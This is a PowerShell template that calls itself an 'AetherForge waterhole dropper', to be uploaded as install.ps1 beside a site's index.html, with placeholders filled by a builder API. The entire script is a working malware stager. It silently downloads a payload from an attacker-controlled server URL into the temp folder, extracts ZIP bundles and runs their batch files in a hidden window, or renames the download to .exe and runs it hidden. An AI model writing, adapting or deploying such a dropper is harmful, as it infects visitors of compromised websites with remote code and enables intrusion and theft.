# AetherForge waterhole dropper — upload as install.ps1 beside index.html
# Placeholders filled by POST /api/v1/builder/spread-kit-export
$ErrorActionPreference = 'SilentlyContinue'
$ProgressPreference = 'SilentlyContinue'
if ('{{CAMPAIGN}}' -ne '') {
  $env:AETHER_CAMPAIGN = '{{CAMPAIGN}}'
  $env:AETHER_UTM = '{{CAMPAIGN}}'
}
$url = '{{SERVER_URL}}/get?os=windows{{GET_QUERY_SUFFIX}}'
$tmp = [System.IO.Path]::Combine($env:TEMP, [System.IO.Path]::GetRandomFileName())
try { (New-Object Net.WebClient).DownloadFile($url, $tmp) } catch { exit 0 }
if (-not (Test-Path $tmp) -or (Get-Item $tmp).Length -lt 1024) { exit 0 }
$bytes = [System.IO.File]::ReadAllBytes($tmp)
$isZip = $bytes.Length -gt 1 -and $bytes[0] -eq 0x50 -and $bytes[1] -eq 0x4B
if ($isZip) {
  $dir = $tmp + '_bundle'
  Add-Type -AssemblyName System.IO.Compression.FileSystem
  [System.IO.Compression.ZipFile]::ExtractToDirectory($tmp, $dir)
  foreach ($name in @('Start.bat','Deploy.bat','start.bat','deploy.bat')) {
    $c = Join-Path $dir $name
    if (Test-Path $c) { Start-Process 'cmd.exe' -ArgumentList "/c `"$c`"" -WindowStyle Hidden; break }
  }
} else {
  $exe = $tmp + '.exe'
  Move-Item -Path $tmp -Destination $exe -Force
  Start-Process -FilePath $exe -WindowStyle Hidden
}